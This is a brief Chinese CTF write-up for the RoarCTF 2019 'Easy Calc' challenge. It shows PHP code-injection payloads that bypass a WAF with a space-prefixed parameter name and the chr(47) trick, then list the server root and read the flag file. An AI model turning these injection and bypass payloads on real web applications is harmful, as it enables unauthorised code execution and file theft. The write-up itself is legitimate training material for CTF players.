[RoarCTF 2019]Easy Calc 1
打开实例发现是个计算器
查看源代码看见设置了WAF
的提示,并看见计算器的请求方法,注意到calc.php
页面
访问calc.php页面,查看到逻辑处理源代码,根据代码显示,确定这是一道RCE题,blacklist为黑名单过滤数组,总结:绕过数组就可以任意代码执行
传递num=ls,发现出现错误,证明服务端存在waf
使用php自带的函数进行探测(这些函数是百度的)
scandir()函数:返回指定路径数组
var_dump():输出变量的信息
构造payload,num前面加空格的url编码%20,用来绕过正则的/m 表示多行匹配(用来绕过参数只能传数值的问题)
?%20num=1;var_dump(scandir('/'))
发现'/'
被过滤了,采用ASCII码, 47
?%20num=1;var_dump(scandir(chr(47)))
成功遍历,并且注意到flagg文件,推测就是flag
直接上file_get_contents()
文件读取函数,payload
?%20num=1;var_dump(file_get_contents(chr(47).f1agg))
直接获得flag
flag{58fb9b42-61c4-40a2-a216-0fbd25f29aed}
标签:RoarCTF,dump,20num,flag,2019,Easy,var,Calc From: https://www.cnblogs.com/tazmi/p/18535669